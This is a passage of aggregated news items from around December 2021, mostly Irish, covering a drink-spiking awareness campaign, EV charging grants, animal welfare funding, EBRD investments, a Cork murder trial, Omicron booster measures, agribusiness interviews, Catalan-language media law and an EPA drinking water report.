to our Gardai Pulse system from January to November of this year, Ms McEntee added. Twenty-five of those have specifically mentioned needles or syringes of some form. The rest of them are more general spiking, perhaps with drinks or other types. So were taking that very seriously. Obviously, our students are taking that very seriously. And thats why we want people to know it is a crime, if it does happen to you then you should report it. The more data we have, the more we can look at this as an entire picture and see exactly if theres more work, if theres more engagements, if theres tougher sentences, whatever it is that we need to do data is really helpful in that regard. A person convicted of poisoning can be sentenced to up to three years in prison. Spiking is a serious crime It is important you have the tools to act if you are targeted by this crime or a witness to it Spot the signs and know how to help friends you think may have been spiked More: https://t.co/8MkWUBMnnW@TheUSI @SimonHarrisTD @HMcEntee @DeptJusticeIRL pic.twitter.com/RFUFYfz9wG Department of Further and Higher Education (@DeptofFHed) December 15, 2021 Ms McEntee said she wanted to send out a clear message that spiking is a criminal offence. If it happens to you, you should report it, you should go to An Garda Siochana, she added. We have divisional protective service units that have people who are trained to work with you. Unfortunately many of these incidents are connected to sexual assault and rape. There is support for you in terms of victim support groups. If you see it happening, know that it is a crime. Call it out, report it and if you see it happening to someone support them. If you are thinking about doing this, be very clear this is a crime, its punishable by up to three years in prison. Minister for Higher Education Simon Harris said that students are concerned about the number of spiking incidents. They asked us to work with them, to put an awareness campaign in place, about the signs to watch out for when it comes to spiking, Mr Harris added. If you have been out for a few drinks and feel a little bit more drunk than you should as a result of what you have drank, maybe you feel like you are going to vomit, your vision is blurred, you feel a bit dizzy, you could have been spiked. Make sure you are not alone. If you are seeing someone with those symptoms or with those signs, dont leave them on their own. Indeed if you are working and see someone like that, dont just presume they are drunk and send them on their way, make sure they have someone to get home safely. In a medical emergency, you should always contact 999. Louth Fine Gael Seanad Climate Spokesperson, Senator John McGahon, believes that the extension of electric vehicle (EV) charging points to those living in apartment blocks, will help ensure we reach our 2030 target of one million EVs on our roads. Speaking in response to a Commencement Debate tabled by Senator McGahon, Minister Mary Butler confirmed that work is being progressed to expand the EV home charger grant to include shared parking in apartment blocks and similar developments. The Department of Environment, Climate Action and Communications is working closely with the Sustainable Energy Authority of Ireland and expects to announce a scheme for apartments and those with no access to private driveways soon. Following the debate Senator McGahon said, "This is promising news for the thousands of people who live in apartment blocks, terraced houses, or streets with no access to private driveways. Currently, home EV chargers are only available to people who have private driveways as the charger could not cross a public walkway like a footpath. I have written to Minister Eamonn Ryan asking for clarity on the scheme and when will it be announced. If we want to reach our goal of one million EVs on Irish roads by 2030, we need to remove as many deterrents as possible and being able to provide home chargers to those without private driveways will certainly help us make progress", he added. I think we also need to think outside the box and look at some new initiatives that are being trailed in other European countries. "In Germany for example, they have installed smart streetlights which double as EV charging points. The Smart Poles which also feature parking management software, collect data on air quality and can host Wi-Fi hubs, could certainly be an option to consider introducing in Ireland, Senator McGahon concluded. Minister for Agriculture, Food and the Marine, Charlie McConalogue, has today announced funding of 70,750 to three organisations in Louth. The funding announcement was made on the inaugural Animal Welfare Awareness Day, an initiative of the Minister to raise awareness of animal welfare and is part of over funding of over 3.7million to 98 animal welfare organisations nationwide announced today. Louth SPCA, 114 Oaklawns, St Alphonsus Road, Dundalk, Co. Louth - 29,000 Dundalk Dog Rescue, Walterstown, Castlebellingham, Co Louth - 13,000 Drogheda Animal Rescue, P.O. Box 159, Drogheda, Co Louth - 28,750 Making the announcement the Minister said the funding for animal welfare organisations was evidence of the Governments on-going commitment to the animal welfare and acknowledged the important role played by animal welfare organisations. I am delighted that on the first ever Animal Welfare Awareness Day, I can acknowledge the fantastic effort and commitment of our amazing animal welfare organisations and, indeed, the many volunteers dedicated to animal welfare, said the minister. These organisation play such a crucial role in ensuring all our animals are cared for and protected. This is frontline work that we can all be proud of. In line with our commitment in the Programme for Government, these awards mark the largest award of grant funding to animal welfare bodies ever made by my Department. This additional support will make a real difference to the welfare of animals nationwide. Referencing the One Health, One Welfare ethos outlined in the Animal Welfare Strategy 2021-2025, the Minister cited the relationship between animal and human welfare. Animal welfare is increasingly important to Irish citizens, and we are ever more aware of the inter-relationship between the welfare of animals and human wellbeing. Maintaining animal welfare standards is the responsibility of everyone in our society; for those who own, care for, or are responsible for animals, whether on farm or at home. The Minister urged people to think carefully before getting a pet this Christmas. "A pet can bring great joy, but with that comes responsibility. Owning and caring for a pet is a major, long-term commitment. There is excellent advice on my Departments website and from many of the welfare organisations please think carefully before deciding to buy a puppy this Christmas and take responsibility for your choice. Finally, the Minister said that he and his Department will continue to work closely with animal welfare groups and other stakeholders in the promotion of animal welfare. The Minister reminded the public that the Department operates a dedicated email address and helpline for members of the public to report incidents of animal neglect and cruelty. More information is available here: https://www.gov.ie/en/publication/d3af4-new-rules-on-the-sale-supply-and-advertising-of-pet-animals/ Animal Welfare Helpline: Helpline phone number: Call Save: 0761 064408 Phone: 01-607 2379 Dedicated email address - animalwelfare@agriculture.gov.ie https://www.gov.ie/en/publication/7f41b-animal-health-welfare/ Hundreds of Louth national school children are joining a campaign to plant more than a million trees in Ireland and Africa this year. In the lead up to Christmas, pupils and teachers from a dozen national schools across the county will hold tree planting ceremonies on school grounds and public land, lending their backing to communities who will be planting tens of thousands of new trees in Uganda, Kenya, Senegal and Malawi before the end of the year. The schools initiative is part of the One Million Trees campaign, which will see Self Help Africa plant over a million trees this year. Supported by the INTO teachers union, the campaign will see native Irish seedlings being distributed for planting by each participating class group. Workshops, collections, and other activities are also being held in hundreds of schools to support tree planting activities in Africa. INTO President Joe McKeown said that the campaign was a great opportunity for schoolchildren to learn more about trees, and climate issues, and also play their part in the worldwide effort to combat climate change. Young people are very aware of the challenges of global warming. A campaign like this gives them the chance to engage directly with the issue, and also learn about the impact in parts of the world that are extremely vulnerable to climate change. Former INTO President, Mary Magnier, who is an ambassador for the One Million Trees schools campaign, said that she has been overwhelmed by the support that the campaign has received from schoolchildren and their teachers right across the country. The venture is also being backed by the Gaelic Players Association (GPA), who include thousands of primary teachers in their ranks, and is supported by Glenisk, who have mobilised public support by promoting the tree planting initiative on their products. Self Help Africa planted One Million Trees in Africa and a further 100,000 native trees in Ireland last year, and are on course to achieve a similar target in 2021. By the Staff of The News Last updated 12/14/2021 at 3:05pm WASHINGTON Two Clovis students were announced as nominees to United State service academies by Sen. Martin Heinrich, D-N.M., according to a release from the senator's office. Mark Cabeen and Lee McDonald Air Force were among 50 to receive nomi... By the Staff of The News CLOVIS A Clovis man whose eighth driving-while-intoxicated conviction was reversed Aug. 26 by the New Mexico Court of Appeals was released from prison on Monday. Prosecutor Brian Stover said the appeals court suppressed most of the evidence in... The European Bank for Reconstruction and Development (EBRD) has adopted a new country strategy for Georgia for 2022-27, with three key priorities: Enhancing the competitiveness of Georgian companies The EBRD stands ready to help companies, including small and medium-sized enterprises (SMEs), boost their productivity and resilience by enhancing their competitiveness and improving their access to finance, for instance, through investments in digitalisation. The Bank will also continue its work to deepen the local capital market to provide companies with a wider variety of financing options. Promoting inclusion and regional development The Bank will step up its efforts to support access to skills development, especially for young people, women and other marginalised groups, supporting job creation, also in regions outside the capital, Tbilisi. Better access to finance and essential municipal services for regional populations is a key focus of the EBRDs work. Supporting Georgias green economy transition The EBRD is well positioned to help accelerate Georgias green economic transition by supporting initiatives to reduce greenhouse gas emissions and increase the use of renewable energy. Based on the EBRDs Green Economy Transition approach and building on its strong track record in this field, the Bank will combine investments in renewable energies with policy engagement. It will support the reform of state-owned enterprises, including greater energy and resource efficiency, and continue to expand its Green Cities framework. Georgia has made great efforts in recent years to advance reforms and create a sustainable market economy. The new EBRD strategy will support the Georgian economy, significantly affected by the Covid-19 pandemic, in its recovery and further development. The EBRD is a leading institutional investor in Georgia. Since it started operating in the country, the Bank has invested more than 4.53 billion in 269 projects in the financial, corporate, infrastructure and energy sectors, with 78 per cent of these investments in the private sector. Download The EBRDs latest Georgia strategy EBRD loan, in local currency equivalent, of up to US$ 13.5 million to Bank Respublika Bank Respublika to finance smaller businesses in rural areas and attract new clients New financing sees EBRD doubling support for Azerbaijans banking sector Micro, small and medium-sized enterprises (MSMEs) in Azerbaijan will benefit from greater access to finance as the European Bank for Reconstruction and Development (EBRD) is providing financing, in Azerbaijani manat, equivalent to up to US$ 13.5 million, to Bank Respublika, a key local lender. The first credit line, in the local currency equivalent of up to US$ 9.5 million, will be provided under the Azerbaijan Agricultural Finance Facility (AZAFF) and on-lent to agricultural businesses. AZAFF, supported by EU funds, aims to step up financing for the countrys agricultural sector, boosting its development. The other credit line, worth up to US$ 4 million, in local currency equivalent, will be on-lent to MSMEs across the country. Both facilities will be extended in two equal tranches. Bank Respublika is planning to direct most of the EBRD financing to companies outside large cities and to new clients, which are particularly hit by the COVID-19. The two facilities will effectively double the EBRDs support to Azerbaijans banking sector, compared US$ 6 million provided in 2019 and in 2020. Expanding access to finance for local businesses by encouraging bank lending is among the EBRDs priorities in the country. Catarina Bjorlin Hansen, EBRD Regional Director for the Caucasus, said: I am pleased that the EBRD is able to expand access to finance for Azerbaijani businesses by strengthening cooperation with Bank Respublika. Our goal is to encourage bank lending and help produce an impact on firm growth, productivity and employment. The Bank is a leading institutional investor in Azerbaijan and has so far invested close to 3.2 billion in almost 180 projects across various sectors of the economy. The Banks strategy in the country focuses on efforts to help Azerbaijan diversify the economy and develop the private sector in non-oil sectors. Gaziantep in south-eastern Turkey goes solar with loan-and-grant package from EBRD Five solar plants with 27 MW installed capacity to power municipal buildings and services Municipality to develop investment programme as part of EBRD Green Cities programme The south-eastern Turkish city of Gaziantep is set to power most of its municipal buildings and infrastructure with renewable energy as part of its climate action. A vibrant, historical trade and cultural centre, the city has a population of more than 2 million people and is home to half a million Syrian refugees the second-largest Syrian community in Turkey after Istanbul. The municipality is committed to a sustainable urban transformation that will benefit all residents. Last month it joined the EBRDs flagship urban sustainability programme, Green Cities. As part of the cooperation, the EBRD is providing a 10-year 10 million loan to finance the five grid-connected solar photovoltaic (PV) plants with a total installed capacity of 27 MW. The loan will be accompanied by a 7 million grant from the Banks Shareholder Special Fund in a move to support the municipality whose population has seen rapid growth, in part due to an inflow of refugees from Syria. The solar PV plants will create significant savings in electricity bills, relieving pressure on the citys budget. The project will also help avoid carbon emissions and intense use of water for electricity generation, particularly important in Turkeys water-scarce south east. The municipality is also planning to involve young women in the project by providing internships and encouraging them to pursue careers in sustainable energy. Fatma Sahin, Mayor of Gaziantep, said: We are doing our best efforts to increase the generation of renewable energy. We are also making great endeavours to ensure that air and the water in the city are clean. The EBRDs support and its Green Cities programme comes at the right time as we intensify our efforts to improve sustainability. The 27 MW solar power plant will have a significant impact on the environment and climate of Gaziantep and the region. Nandita Parshad, EBRD Managing Director for Sustainable Infrastructure, added: The EBRD is clearly acting on its commitment to support Turkeys green transition. Investing in a solar project for the municipalitys own energy consumption is our first step in Gaziantep under our Green Cities programme. We will also be helping the city to integrate solar power into electricity grids more broadly. As part of its cooperation with the EBRD, Gaziantep will also devise a Green City Action Plan, the backbone of the Green Cities programme. It is a step-by-step investment plan covering green infrastructure, including solid waste, water, wastewater, street lighting, energy supply and transport. The development of the plan will be funded by the Clean Technology Fund, part of the Climate Investment Funds. Gaziantep is the fourth Turkish city to join Green Cities alongside Ankara, Izmir and Istanbul. The EBRD and Gaziantep are long-standing partners; the Bank has previously financed the municipalitys acquisition of 100 modern, energy efficient buses. The EBRD is a leading institutional investor in Turkey and has invested 14 billion in the country to date, mostly in the private sector. Sustainability is at the heart of the Banks investment and policy engagement. THE 10 jurors who have heard all the evidence in the trial of a woman accused of murdering her 52-year-old brother are coming close to the moment when they will retire to commence their deliberations. They must also consider their verdicts in respect of the womans then partner, who is also accused of murder. Helen Jones, aged 54, of 27 Cahergal Avenue, Mayfield, Cork, pleaded not guilty to the charge of murdering Paul Jones her 52-year-old brother at his home - on September 4 2019 at 108 Bandon Road, Cork. Her co-accused Keith OHara, aged 43, also of 27 Cahergal Avenue, also pleaded not guilty to the same murder charge. Paul Jones Each defendant is additionally charged with a different count related to alleged trespass at the same time and place. Helen Jones is charged with trespass to cause serious harm while carrying a knife. Keith OHara is charged with trespassing to commit serious harm. The defendants also pleaded not guilty to these charges. Jury of 10 All parties in the case agreed that the trial could continue in front of a jury of ten when two jurors failed to appear in the first week of the trial. Mr Justice Michael McGrath addressed the jury on the legal matters and evidential issues which they should consider in their deliberations. The judges charge to the jury will continue on Wednesday and when this is complete the jury will deliberate. In respect of the murder charge against Keith OHara they can bring in one of three possible verdicts guilty, not guilty or thirdly, not guilty of murder but guilty of manslaughter. This latter possibility arises in his case because he raised the defence of acting in self-defence. His co-accused declined to give evidence and simply pleaded not guilty to the murder charge against her. While Helen Jones did not give any evidence, her co-accused did testify and he blamed her for murder. At the height of the cross-examination, Brendan Grehan SC for Helen Jones, said to OHara, You go into the witness box you lie, you lie and lie again to drag Helen Jones down with you. Keith OHara said, I did not kill Paul Jones. Mr Grehan referred to witnesses hearing Helen Jones shouting stop and he asked OHara what that was about and he replied, Your client murdered her brother. The dogs and the cat and the rat all know Helen killed her brother. Mr Grehan asked, And the fella with the bill-hook, what did he do? OHara replied, I did not kill him anyway. Evidence from pathologist Chief state pathologist Dr Linda Mulligan examined the body of the deceased on September 8 2019 and found that he was a man weighing 19 stone and measuring five feet nine inches. The pathologist described in detail a chop wound to the head which fractured his skull which may have been caused by a machete or like implement, and also described over 20 stab wounds to the chest, stomach and upper back. It is my view that death in this case was due to chop wounds to the head and multiple stab wounds to the trunk and right arm with no contributing factors. "The severity of the traumatic injuries was enough to cause death, Dr Mulligan said. Tom Creed senior counsel for Keith OHara asked Dr Mulligan, What would the effect of the 25 wounds absent the chop wound be? The pathologist said that the other injuries, which were between 2cms and 12 cms deep, caused lung collapse, there were two wounds to the chest, four to the abdomen and blood loss from the liver and that, These wounds would have been fatal as well. The pathologist said, Death probably occurred 30 minutes to an hour within the time of receiving the injuries. In her direct evidence the pathologist said four of the stab wounds penetrated the right cavity causing the right lung to collapse, four wounds penetrated the abdominal cavity and kidney and there were also stab wounds to the liver. She said he had approximately three times the quantity of alcohol in his system as would be allowed for driving. The pathologist said that she had been told that the deceased had been a daily drinker and that in such a case this level of alcohol might not have the same effect as it would on someone who does not drink frequently. Dr Mulligan said the deceased who lived alone and was unemployed was on medication for numerous conditions including diabetes, arthritis, blood pressure, anxiety and insomnia and that he was a smoker. Paul Jones had numerous tattoos including one of hands joined with a rosary beads and the words, In Memory of Mam and Dad. By Cate McCurry and Rebecca Black, PA The Taoiseach has urged people to hold the collective nerve over the threat from the Omicron variant. Micheal Martin described this phase of the pandemic as different with the vaccine booster jab being rolled out across Ireland. A week is a long time in Covid we all need to hold the collective nerve, weve been through different waves of the pandemic, well get over this wave as well, he told RTE. Taoiseach Micheal Martin has said people need to be conscious of the threat posed by the Omicron variant and he appealed to the public to "hold their collective nerve" | https://t.co/bNzNFUbnSM pic.twitter.com/NljzN2BFFj RTE News (@rtenews) December 14, 2021 Weve a very good booster programme out there, 1.2 million people in the older age cohorts and people with underlying conditions vaccinated already. Were going to get more done more quickly, people have adjusted their behaviour. This is a very transmissible variant though and it spreads very fast and that is a threat to us, we need to be conscious of that, and its really about working collectively using our common sense in terms of personal behaviour. It will be different to earlier phases of the pandemic and as we go through this, we need to adapt, we need to evaluate how weve performed in earlier phases and adjust accordingly and behave accordingly. Earlier Mr Martin said more members of the Defence Forces will be drafted in to help ramp up the number of booster jabs a day, the Taoiseach has said. The Government is under pressure to rapidly accelerate the vaccine programme as concerns over the effects of the Omicron variant escalate. The Defence Forces will be deployed across to country in a bid to increase the number of daily booster jabs. The Government also has plans to redeploy staff, increase the number of pop-vaccine centres and extending opening hours to help increase the number of booster vaccines. Here are today's walk-in #COVIDVaccine clinics. We're operating some walk-in clinics for dose 1 and dose 2, and booster vaccines for healthcare workers and people aged over 50. #ForUsAll pic.twitter.com/FwLlcrX17R HSE Ireland (@HSELive) December 14, 2021 The Minister for Health, Stephen Donnelly, told the Cabinet about plans to increase capacity in the coming weeks. Mr Donnelly said on Tuesday morning that Government will bring in more measures and scheduling options so more people can get the booster jab. On Tuesday, another 3,887 confirmed cases of Covid-19 were reported in the Republic. At 8am, there were 493 Covid-positive patients in hospital, of whom 109 were in intensive care. The chief medical officer, Dr Tony Holohan, said that approximately 14 per cent of Tuesdays cases are due to the Omicron variant. Results today suggest that approximately 14% of our cases are due to the #Omicron variant. In line with the experience of many other countries, we can expect this proportion to rise rapidly over the coming days. Dr Tony Holohan (@CMOIreland) December 14, 2021 In line with the experience of many other countries, we can expect this proportion to rise rapidly over the coming days, Dr Holohan added. The goal now is to limit the spread of Covid-19 through our tried-and-tested preventive measures. These measures can protect us and our families and will allow time for the booster vaccination programme to take effect. This means that as we move closer to Christmas, we must try to reduce the number of people we meet, avoid crowds and work from home unless it is essential to attend in person. I encourage anyone eligible for a booster vaccination to take that opportunity. Boosters are proven to be effective in restoring protection against all variants of Covid-19. Alltech: Becoming a more reliable partner in Southeast Asia's agriculture industry (Part 1) An eFeedLink Executive Talk COVID-19 made 2020 a distinctly troubled year for the world, as it curtailed what used to constitute normal life and sent economies and supply chains globally into a tailspin. Cities went into lockdown and residents were forced to work from home during the early days of the pandemic as it worsens, the coronavirus later hit employees of meatpacking facilities, threatening food supplies in some countries. "COVID-19 resulted in the movement restrictions of workers, changes in demand of consumers, closure of food production facilities, restricted food trade policies, and financial pressures in food supply chain," notes Serpil Aday et al of Turkey's Canakkale Onsekiz Mart University in the academic report, "Impact of COVID-19 on the food supply chain". Describing those tumultuous days the impact of which persists to this day Matt Einarson, Alltech's Southeast Asia regional director, tells eFeedLink the difficulty competitors faced in accessing export markets (specifically, Southeast Asia) amid the mounting uncertainties of keeping supply chains running. "There were a lot of pressures on producers and profit margins at that time we were seeing a reduction in protein consumption," he says. These and other challenges, including impaired profitability suffered by various players in the agriculture industry and sourcing quality feed additives, should be acknowledged. But, first, Alltech's partners need to have "confidence in the supply chain" as they resolve the relevant issues, Einarson says. To aid them along, the US crop science, animal health and nutrition company offered "a small cost reduction" in its products to feed industry partners who would then provide "a more competitive price to their customers and farmers" "in exchange for guaranteed product purchases over a period of time," he says. "This allowed us to secure our supply chain, allowing our partners to do what is necessary; to be able to produce high quality feeds to their customers." On the basis of such developments, Alltech's "To Thank A Farmer" campaign was created and honored farmers as heroes for keeping the world fed. Explaining the rationale behind the campaign, Keeratiya Poolsap, marketing manager at Alltech Thailand, says Alltech wants to show that it is ready to support its customers during difficult times. "We don't want to leave (our partners behind), and our products are ready for them," she adds. A valuable partner in Southeast Asia Partnership is the cornerstone of Alltech's conduct of business in Southeast Asia, a crucial point brought up by Einarson. "Recently, Alltech saw an opportunity to increase its market share (in Southeast Asia)," Einarson says. Hence, more than five years ago, the company was exploring several opportunities "in terms of accessing new markets" in the region, leading to expansions in Myanmar and Cambodia. As of today, Alltech has already spent seven and five years in both countries, respectively, as well as close to 25 years in Vietnam, and more than two decades in Thailand and the Philippines. Among the opportunities considered was diversifying Alltech's approach "in terms of a targeted approach towards different species, primarily swine and poultry. We wanted to break into the markets for dairy, aquaculture, pet food and crop science," Einarson says. Recognising Southeast Asia as "a significant growth market for livestock and feed productions", Alltech aimed to enhance its footprint in the region through the localisation of production. "Alltech is bullish about the market and we are investing for growth and development. We are pushing our footprint in our contributions locally. Throughout that period, we made some big investments, and this year, we are making one significant investment in Southeast Asia," Einarson says. In Thailand, Alltech has worked with the Dairy Farming Promotion Organization of Thailand (DPO) and local universities to further develop the Thai dairy industry, as Thailand seeks to offset milk imports with more domestic production. The company is also involved in collaborations backing the acquisitions and subsidies of mixture wagons that are employed in distributing total mixed rations (TMRs). "Currently, in Thailand, the majority of dairy cows are still not fed with total mixed rations," due to lack of capital, Einarson notes. In fact, it is only "major commercial enterprises that can withstand the cost of purchasing and utilising mixer wagons and total mixed rations. "Research dating back to 60 years suggested that feeding total mixed rations benefits not only cow health but production efficiency as well. We see this as the necessary next step in the development of the dairy industry. In Thailand, it is migrating towards feeding total mixed rations." At the moment, one concept would be to work with local cooperatives to "centralise the production of TMRs and to distribute and sell them to smaller farms that are part of the cooperatives," Einarson reveals. He adds: "When we look at the daily routines of dairy farms, it is the search for raw materials, that are inconsistent in terms of nutrition supply and so, that leads to inefficiency. Having a consistent flow of nutrition is certainly contributing to increases in milk production and profitability. "Obviously, the cost of feeding increases as a result but it is certainly offset by improvements in milk production, quality and efficiency." In Vietnam, Alltech took over the distributorship of aquafeed producer Coppens (which was renamed Alltech Coppens following Alltech's acquisition of the company) in 2019. "Today, we are importing nearly a thousand tonnes of fish aquafeed into Vietnam, majority of which are going both to storage or to farms, mostly in the country's north and south," Einarson says. "We have been able to scale our presence and use that to sell premixes to a number of pangasius and trout farms in Vietnam, specifically in the south." More than just selling premixes and feed additives, Alltech is working with farms and feed mills in Vietnam "to solve problems, set collaborative goals and deploy value-added support solutions." Alltech Coppens is one factor in its parent company's success in the country, and it provides Alltech with "products and services that we can leverage to deeply penetrate the aquaculture market in Southeast Asia," Einarson says. In the Philippines, Alltech helps pig farms to rebuild their pig numbers through its Repigulation repopulation programme. Prior to this development, the company entered into a partnership with US-based swine consulting firm Pipestone Management and created an "in-feed hygiene product that eliminates feed as a potential vector for transmission," Einarson points out. Together with partners in the feed industry, Alltech also conducted numerous forums educating backyard raisers and formed relations with hog raisers associations as a result. "We have acknowledged the necessity for repopulation. There needs to be certain confidence that, when we repopulate, we are not going to find ourselves in situations where we are back to ASF being transmitted," Einarson says. "(Repiglation) is a robust accreditation programme which gives confidence to farms, investors and associates of farms that we have a comprehensive collaboration with farms, looking at all potential vectors for (ASF) transmissions. "This is a programme that is unique to the Philippines, a larger part due to the difference in the industry in the country compared to other regions." Einarson adds: "There is also a greater demand for technology partnerships to access certain information and meet strong partners, and to be able to repopulate (pig farms) on a safe scale." This article continues in "Alltech: Becoming a more reliable partner in Southeast Asia's agriculture (Part 2)". - TERRY TAN Russia's agriculture minister attends opening of poultry farm in Leningrad Region The grand opening of a Severnaya poultry farm in Russia's Leningrad Region was attended by Russian Minister of Agriculture Dmitry Patrushev and the Governor of the Leningrad Region Alexander Drozdenko. The poultry farm has completed the implementation of an investment project for the construction of 16 poultry houses for growing broiler chickens. The new capacities will make it possible to additionally produce about 20 thousand tonnes of poultry meat per year. In addition, due to the expansion of production, 100 new jobs have been created. In the future, the poultry farm will provide more than 80% of the total production in the subject. The Leningrad Region in 2020 became the leader of the North-West Federal District for the production of poultry meat. According to this indicator, the subject is included in the TOP-5 in the country. The expansion of production will contribute to the further development of this direction and increase the level of self-sufficiency of the region with livestock products. The Russian Ministry of Agriculture is implementing a range of measures to support poultry enterprises. Farmers have access to subsidies, grants and soft loans. In total, this year, within the framework of the State Program of the Agro-Industrial Complex, 7.6 billion (US$103.3 million) are provided for this area of animal husbandry. In addition, due to decisions of the Russian government, additional measures were taken to further develop the sub-sector. - The Poultry Site Two weeks later, a deal has been done. The Spanish government and the Catalan Republican Left - leader of the governing coalition in Catalonia - have reached an agreement to "guarantee Catalan in the audiovisual law". The Republicans (ERC) have accepted that the large international streaming platforms, such as Netflix and HBO Max, cannot be forced to put up a minimum quota of their catalogue in Spain's co-official languages, Catalan, Basque and Galician. In return, however, the pro-independence party has made some headway on other fronts. For example, that about 15 million euros will be allocated to audiovisual production in the three minoritized languages, paid for by all the platforms regardless of where they are based. Also the creation of a fund for dubbing and subtitling. In return, ERC guarantees to vote for the Spanish government budget in its path through the Senate. The negotiating teams started from the premise that platforms such as Netflix could not be forced to provide a quota of their catalogue in the three main co-official languages, but they could be required to allocate part of their income to finance productions in Catalan, Basque and Galician. From this starting point, the agreement was built. According to the ERC statement, "all platforms that operate in the state, whether they have their headquarters within the state or not, will have to finance audiovisual productions in Catalan every year." The PSOE validated the formula because it fits with the European directive, as confirmed by its spokesperson Hector Gomez. So what is the fine print behind all this? First of all, according to the ERC statement, "every year a minimum of 15 million euros will be allocated" to production in Catalan, Basque and Galician. This sum is an estimate derived from the obligation established by Article 117 of the law on platforms to finance independent productions. Specifically, they will be required to invest 5% of their declared profits from Spain in European production, that is, about 140 million euros for all the streaming platforms based on 2020 figures. Of this amount, 70% (98 million) must be allocated to independent production and 15% of that 70% (14.7 million) on co-official languages. According to ERC, this amount would allow to have productions like the acclaimed series Merli or Polseres Vermelles ("The Red Band Society") or the movie Pa Negre ("Black Bread") every year. This production requirement will be able to be delivered in different ways, either through direct participation in content production, through the acquisition of distribution and screening rights or through a direct contribution to the Institute of Cinematography's protection fund. This money will be in addition to the amounts already agreed in earlier negotiations: a fund of 10.5 million euros to "encourage the creation of audiovisual content" in the co-official languages. This was approved through a transactional amendment. As well, as a complementary measure, the creation of "a dubbing and subtitling fund that the platforms will have to incorporate into their catalogues" has been agreed. According to ERC, this would guarantee that "The Squid Game of the day would be dubbed into Catalan". The size of this fund is not quantified in the statement. The agreement announced by ERC also incorporates other measures in the audiovisual field, such as that the Catalan Audiovisual Council (CAC) being the body for resolving conflicts in dubbing with the platforms, the incorporation of Catalan sign language and the guarantee that the at least 15% of the state's public terrestrial television (RTVE) production is in Catalan, Basque or Galician. According to ERC, this implies "more income for audiovisual production in the Catalan language." The 6% share of the catalogue in co-official languages, as initially agreed, only covers platforms based in Spain. Two weeks of negotiation Alarms had been ringing on the proposed audiovisual law since September when the first draft of the bill became known, but the controversy exploded two weeks ago, when the version of the bill negotiated with ERC was passed by the Spanish cabinet, and the real story leaked out: that the share of 6% of content to be in the co-official languages, as previously announced by ERC, only applied to the platforms based in Spain, such as Filmin or Movistar, and left out the key international platforms such as Netflix, HBO Max, Amazon Prime Video and Disney +. The Catalan party then threatened to overturn the Spanish budget, on which its votes are key. The negotiating teams met again immediately, and in recent days they have been exchanging numerous documents to find an alternative. With this new agreement, then, ERC will vote in favour of the budget in the Senate as well. In 1998, Spain's Official State Gazette, known as the Boletin Oficial del Estado, or the BOE, began translating the legislative texts it publishes into Catalan. This translation of the BOE was the result of a collaboration agreement between the Spanish and Catalan governments, enshrined in a Royal Decree in 1997 that foresaw the publication of the laws in all of Spain's co-official languages. However, in October last year, twenty-three years after that agreement, the agreement was terminated for administrative reasons. The texts continued to be translated for a few months, but it was the Catalan government that assumed the costs on its own and, at the end of May this year, due to the lack of a new agreement with the Spanish executive, the BOE supplement in Catalan was no longer published. The 1998 agreement "for the publication of laws in the Catalan language" was signed by then-minister for the Catalan presidency, Xavier Trias, and the Spanish deputy PM of the day, Francisco Alvarez Cascos (PP). It meant that the Catalan government, through the entity that produces its own official gazette, the DOGC (Diari Oficial de la Generalitat de Catalunya), was in charge of translating the texts which would then be published in the BOE and the two administrations would split the costs fifty-fifty. The agreement was reached at a time when Catalan votes in the Spanish Congress were essential to the Jose Maria Aznar government's parliamentary majority, and was in force for five years, after which it was considered to be "tacitly" extended each year. However, new rules on the legal regime for the public sector which came into force in 2015 required the revision of such agreements, and these led to its demise in October last year and made it necessary for a new agreement to be signed to keep alive the pact between the two administrations. For months, according to sources at the Generalitat, the Catalan executive called for this translation to continue. Initially, in the face of the inaction of the Spanish government and in the midst of the coronavirus crisis, it was decided to continue financing it alone, assuming the extra cost to ensure the continuity of the publication of the Catalan version of the BOE, while awaiting the signing of a new agreement. However, finally, after more than half a year without being able to obtain any response from Madrid, the Catalan executive decided to suspend the regular translations while still hoping that the Spanish government would agree to negotiate. The latest publication in the Catalan language supplement appeared on the BOE website on 26th May. Little willingness from the Spanish government The Catalan ministry of the presidency, on which the publication of Catalonia's DOGC depends, affirms that during these months the Generalitat became well aware of the "unwillingness" of the Spanish government to renegotiate the agreement and to pay the extra cost which the Catalan executive had had to take on in order to keep the BOE Catalan supplement going. However, the presidency ministry of the Generalitat leaves it clear that it is the will of the Catalan side to recover the translation of the BOE texts, as soon as possible, via a new agreement. Since 2008, the Catalan language supplement of the BOE has included the complete summary of the "General Measures" section, the translation of laws, royal decrees, royal legislative decrees, transpositions of European Union directives and executive regulations submitted to the consultation of the Council of State. Although in the beginning the translation was delayed by three months on average, after 2008 it appeared just six days after the publication of the Castilian version. In addition, a search engine on the BOE website allowed searches for documents published in the Catalan supplement by keywords, or by date and publication number. This search engine, however, appears empty from May 27th this year onwards. In the main image: a screenshot of the last day on which entries appear in the BOE supplement in Catalan, on May 26th this year Tractor runs raise over 14k for charity Two Christmas tractor runs have raised over 14,000 for two local Island charities. Isle of Man Young Farmers held the annual event last Friday and Saturday. Both events saw 66 festive light decorated tractors travel over 57.5 miles around the Island. The events have raised over 14,595 with donations still to be counted. Money will go to Hyperbaric Oxygen Therapy Isle of Man and Reach IOM. You can see the videos from both events on our Facebook page. Vulnerability of Irelands drinking water supplies must be urgently addressed by Irish Water, says EPA The quality of drinking water from public supplies is high, with over 99.7% of samples compliant with bacterial and chemical limits. At the end of 2020, 46 vulnerable water supplies - serving 1 million people - required significant works, with over half experiencing delays. Over 15,500 people were on boil water notices for longer than one month. It will take decades for Irish Water to remove all lead connections at their current rate of replacement. The EPA Drinking Water Quality in Public Supplies Report 2020 released today, shows that the quality of drinking water in public supplies remains high, with over 99.7% compliance with bacterial and chemical limits. The continued high levels of water quality being achieved are positive for consumers and indicate that the water is safe to drink. However, improvements are needed in our drinking water infrastructure to protect public health. Delays in the delivery of these improvements at water treatment plants by Irish Water means that water supplies remain vulnerable for longer, posing a risk to the health of a large portion of the population. The EPAs Remedial Action List identified 46 vulnerable supplies (serving >1,000,000 consumers) with significant issues to be addressed by Irish Water at the end of 2020. This figure is down from 77 supplies in 2017. Through EPA targeted enforcement, Leixlip has since been removed from the list, after works there resulted in a more secure water supply for over half a million people. However, improvement works at almost half of these supplies will now take longer to complete than was anticipated at the end of 2019. Launching the report, Dr Tom Ryan, EPA Director said: It is good news that our water is safe to drink today, but we cannot say with confidence that it is resilient into the future. The EPA remains concerned about the vulnerability of many drinking water supplies nationally. Irish Water needs to fix the remaining supplies on the EPAs Remedial Action List without further delay. Recent incidents at Gorey and Ballymore Eustace water treatment plants have 